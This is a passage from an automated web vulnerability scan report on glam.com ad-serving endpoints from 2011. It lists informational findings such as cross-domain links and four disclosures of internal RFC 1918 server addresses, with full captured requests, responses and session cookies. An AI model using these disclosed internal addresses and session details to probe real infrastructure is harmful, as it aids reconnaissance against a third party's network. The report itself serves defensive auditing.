Confidence:   Certain
Host:   http://www2.glam.com
Path:   /app/site/affiliate/viewChannelModule.act

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=312070423&adSize=888x14 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://gossipcenter.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
Set-Cookie: bkpix2=1; expires=Wed, 16 Mar 2011 19:05:49 GMT; path=/; domain=.glam.com;
X-Powered-By: PHP/5.1.6
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Wed, 16 Mar 2011 13:32:29 GMT
Connection: close
Content-Length: 58228


// <!-- [gnetGeneratedTime]=[Wed Mar 16 2011 6:02:28 PDT] -->
// <!-- [gnetCachedTime]=[Wed Mar 16 2011 6:18:09 PDT] -->


window.glam_session = new Object();
window.glam_session.country
...[SNIP]...
lam_session.country_code='US';

window.glam_session.dma='511';

window.glam_session.region_code='DC';

window.glam_session.sid_set=1;


window.glam_session.user_agent_type='2';


document.write('<img style="display:none;" src="http://pixel.quantserve.com/seg/r;a=p-874AVp33Bbtkg;rand=52629130028234938308;*http://www22.glam.com/cTagsImgCmd.act?gtid=5000000440&gcmd=setc&gexpires=172800&gname=qcsegs&gvalue=!qcsegs" height="0" width="0" border="0">');


var bkimg = new Image();
bkimg.src='http://tags.bluekai.com/site/2312';
document.write('<iframe height="0" width="0" frameborder="0" style="position:absolute;visibility:hidden;" src="http://tags.bluekai.com/site/2312?ret=html"></iframe>');
document.write('<img style="display:none;" src="http://tags.bluekai.com/site/2312" height="0" width="0" border="0">');


function GlamProcessScriptParams()
{

}

window.glam_affiliate_id = '312070423';
window.glam_zone = '';
window.glam_ad_size = '888x14';
window.glam_status = '';
window.glam_status =
...[SNIP]...

2.2. http://www2.glam.com/app/site/affiliate/viewChannelModule.act  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www2.glam.com
Path:   /app/site/affiliate/viewChannelModule.act

Issue detail

The page was loaded from a URL containing a query string:The response contains the following links to other domains:

Request

GET /app/site/affiliate/viewChannelModule.act?mName=viewAdJs&affiliateId=312070423&adSize=970x66 HTTP/1.1
Host: www2.glam.com
Proxy-Connection: keep-alive
Referer: http://gossipcenter.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0

Response

HTTP/1.1 200 OK
Server: Apache/2.2.3 (CentOS)
Content-Type: application/x-javascript
Set-Cookie: bkpix2=1; expires=Wed, 16 Mar 2011 19:05:49 GMT; path=/; domain=.glam.com;
X-Powered-By: PHP/5.1.6
P3P: policyref="http://www.glammedia.com/about_glam/legal/policy.xml", CP="NON DSP COR PSAo PSDo OUR IND UNI COM NAV STA"
Vary: Accept-Encoding
Cache-Control: max-age=450
Date: Wed, 16 Mar 2011 13:32:29 GMT
Connection: close
Content-Length: 58227


// <!-- [gnetGeneratedTime]=[Wed Mar 16 2011 6:19:55 PDT] -->
// <!-- [gnetCachedTime]=[Wed Mar 16 2011 6:32:29 PDT] -->


window.glam_session = new Object();
window.glam_session.country
...[SNIP]...
lam_session.country_code='US';

window.glam_session.dma='511';

window.glam_session.region_code='DC';

window.glam_session.sid_set=1;


window.glam_session.user_agent_type='2';


document.write('<img style="display:none;" src="http://pixel.quantserve.com/seg/r;a=p-874AVp33Bbtkg;rand=3732130028234954768;*http://www22.glam.com/cTagsImgCmd.act?gtid=5000000440&gcmd=setc&gexpires=172800&gname=qcsegs&gvalue=!qcsegs" height="0" width="0" border="0">');


var bkimg = new Image();
bkimg.src='http://tags.bluekai.com/site/2312';
document.write('<iframe height="0" width="0" frameborder="0" style="position:absolute;visibility:hidden;" src="http://tags.bluekai.com/site/2312?ret=html"></iframe>');
document.write('<img style="display:none;" src="http://tags.bluekai.com/site/2312" height="0" width="0" border="0">');


function GlamProcessScriptParams()
{

}

window.glam_affiliate_id = '312070423';
window.glam_zone = '';
window.glam_ad_size = '970x66';
window.glam_status = '';
window.glam_status =
...[SNIP]...

3. Private IP addresses disclosed  previous
There are 4 instances of this issue:

Issue background

RFC 1918 specifies ranges of IP addresses that are reserved for use in private networks and cannot be routed on the public Internet. Although various methods exist by which an attacker can determine the public IP addresses in use by an organisation, the private addresses used internally cannot usually be determined in the same ways.

Discovering the private addresses used within an organisation can help an attacker in carrying out network-layer attacks aiming to penetrate the organisation's internal infrastructure.

Issue remediation

There is not usually any good reason to disclose the internal IP addresses used within an organisation's infrastructure. If these are being returned in service banners or debug messages, then the relevant services should be configured to mask the private addresses. If they are being used to track back-end servers for load balancing purposes, then the addresses should be rewritten with innocuous identifiers from which an attacker cannot infer any useful information about the infrastructure.


3.1. http://www35.glam.com/gad/glamadapt_jsrv.act  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /gad/glamadapt_jsrv.act?ga_adsrv=auto;affiliateId=312070423;sz=888x10;fn=GlamLogoCallback;mid=204571626;ord=8643178031779826 HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://gossipcenter.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0; bkpix2=1; qcsegs=D,T,1644,5150,3726,2951,2705,2698,2695,2693,2690,1902

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d9a61c18c39e371e68f8ec954f2210fb:1300254528"
X-Glam-Bdata: none
X-Glam-AdId: 204571626
X-Glam-Euid: 5e67db356d4f1a047f388c7bb737a7fb
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Wed, 16 Mar 2011 13:32:32 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 16 Mar 2011 13:32:32 GMT
Connection: close
Content-Length: 2792


/* ga_adsrv=auto => GlamAdapt(afid=312070423;dsid=602286;;zone=/;ga_adsrv=auto;affiliateId=312070423;sz=888x10;fn=GlamLogoCallback;mid=204571626;ord=
...[SNIP]...
a', '511');

GlamAdaptSetInfo('region_code', 'DC');

GlamAdaptSetInfo('areacode', '202 703 301');

GlamAdaptSetInfo('city', 'WASHINGTON');

GlamAdaptSetInfo('bw', '5000');


/* Served by [rsapp16/172.30.0.20] for [www30a2.glam.com] at [Wed Mar 16 2011 6:32:32 PDT] */


document.write('<script language=\"JavaScript\" type=\"text/javascript\">
...[SNIP]...

3.2. http://www35.glam.com/gad/glamadapt_jsrv.act  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /gad/glamadapt_jsrv.act?ga_adsrv=auto;affiliateId=312070423;;pt=sk;;nt=g;cc=us;aft=p;ec=ron;p=0;p=1;!c=dcs;!c=nptr;!c=p;al=attp;al=fri;ec=tc;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=1;uatf=s;pfl=3;dt=b;!c=hagl;!c=hagn;;pl=h;;afid=312070423;dsid=602286;;sz=888x11;tile=999;tt=j;;ord=8643178031779826 HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://gossipcenter.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0; bkpix2=1

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d9a61c18c39e371e68f8ec954f2210fb:1300254528"
X-Glam-Bdata: XGlamBData,nbt,ec
X-Glam-AdId: 5000002682
X-Glam-Euid: ff194d488588523863ea2e14b21a17ce
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Wed, 16 Mar 2011 13:32:30 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 16 Mar 2011 13:32:30 GMT
Connection: close
Content-Length: 2741



...[SNIP]...
a', '511');

GlamAdaptSetInfo('region_code', 'DC');

GlamAdaptSetInfo('areacode', '202 703 301');

GlamAdaptSetInfo('city', 'WASHINGTON');

GlamAdaptSetInfo('bw', '5000');


/* Served by [rsapp29/172.30.0.34] for [www30a2.glam.com] at [Wed Mar 16 2011 6:32:30 PDT] */


document.write(' <img src=\"http://amch.questionmarket.com/adsc/d724925/17/725047/adscout.php?ord=4d80bbee39e6c\" height=\"0\" width=\"0\"
...[SNIP]...

3.3. http://www35.glam.com/gad/glamadapt_jsrv.act  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /gad/glamadapt_jsrv.act?;flg=65;;zone=/;nt=g;cc=us;aft=p;ec=ron;p=0;p=1;!c=dcs;!c=nptr;!c=p;al=attp;al=fri;ec=tc;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=1;uatf=s;pfl=3;dt=b;!c=hagl;!c=hagn;pl=h;afid=312070423;dsid=602286;;tt=j;u=b000102qmcx1o7pm06r,f0f12sa,g10001t;sz=970x66;tile=1;ord=8643178031779826;;afid=312070423;dsid=602286;url=00001b;seq=1;ux=f-f12sa,tid-1,pid-02qmcx1o7pm06r,aid-0,g-65,1,;_glt=300:3:8:32:24:587:2011:3:16;a_tz=-300;_g_cv=2; HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://gossipcenter.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0; bkpix2=1; qcsegs=D,T,1644,5150,3726,2951,2705,2698,2695,2693,2690,1902

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d9a61c18c39e371e68f8ec954f2210fb:1300254528"
X-Glam-Bdata: none
X-Glam-AdId: 5000000140
X-Glam-Euid: bfc424e1239fd0ca63d04c6cc13ece83
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Wed, 16 Mar 2011 13:32:30 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 16 Mar 2011 13:32:30 GMT
Connection: close
Content-Length: 2344



...[SNIP]...
a', '511');

GlamAdaptSetInfo('region_code', 'DC');

GlamAdaptSetInfo('areacode', '202 703 301');

GlamAdaptSetInfo('city', 'WASHINGTON');

GlamAdaptSetInfo('bw', '5000');


/* Served by [rsapp21/172.30.0.26] for [www30a2.glam.com] at [Wed Mar 16 2011 6:32:30 PDT] */


document.write(' <!-- 970x66 Default Ad //-->
...[SNIP]...

3.4. http://www35.glam.com/gad/glamadapt_jsrv.act  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   http://www35.glam.com
Path:   /gad/glamadapt_jsrv.act

Issue detail

The following RFC 1918 IP address was disclosed in the response:

Request

GET /gad/glamadapt_jsrv.act?;flg=65;;zone=/;nt=g;cc=us;aft=p;ec=ron;p=0;p=1;!c=dcs;!c=nptr;!c=p;al=attp;al=fri;ec=tc;ia=s;pec=c;psh=y;rmt=exp;rmt=ov;rsk=y;rtbp=1;to=048522b;vads=test;vec=e;vpec=e;atf=0;pfl=1;dt=b;!c=hagl;!c=hagn;pl=h;afid=312070423;dsid=602286;;tt=j;u=b000202qmcx1o7pm06r,f0f02sa,g10001t;sz=888x14;tile=2;ord=8643178031779826;;afid=312070423;dsid=602286;url=00001b;seq=1;ux=f-f02sa,tid-2,pid-02qmcx1o7pm06r,aid-0,g-65,1,;_glt=300:3:8:32:26:914:2011:3:16;a_tz=-300;_g_cv=2; HTTP/1.1
Host: www35.glam.com
Proxy-Connection: keep-alive
Referer: http://gossipcenter.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.133 Safari/534.16
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: glam_sid=1126612978600458511; ctags=None; mobify=0; bkpix2=1; qcsegs=D,T,1644,5150,3726,2951,2705,2698,2695,2693,2690,1902

Response

HTTP/1.1 200 OK
Server: Apache
Content-Type: application/x-javascript
ETag: "d9a61c18c39e371e68f8ec954f2210fb:1300254528"
X-Glam-Bdata: none
X-Glam-AdId: 212552380
X-Glam-Euid: 78dd880284caa4fe28c8a891734f36ca
X-Powered-By: GlamAdapt/ASE/1.5
Vary: Accept-Encoding
Expires: Wed, 16 Mar 2011 13:32:32 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Wed, 16 Mar 2011 13:32:32 GMT
Connection: close
Content-Length: 2327



...[SNIP]...
a', '511');

GlamAdaptSetInfo('region_code', 'DC');

GlamAdaptSetInfo('areacode', '202 703 301');

GlamAdaptSetInfo('city', 'WASHINGTON');

GlamAdaptSetInfo('bw', '5000');


/* Served by [rsapp62/172.30.0.67] for [www30a2.glam.com] at [Wed Mar 16 2011 6:32:32 PDT] */


document.write('<!-- 888x14 Default -->
...[SNIP]...

Report generated by xss.cx at Wed Mar 16 08:34:30 CDT 2011.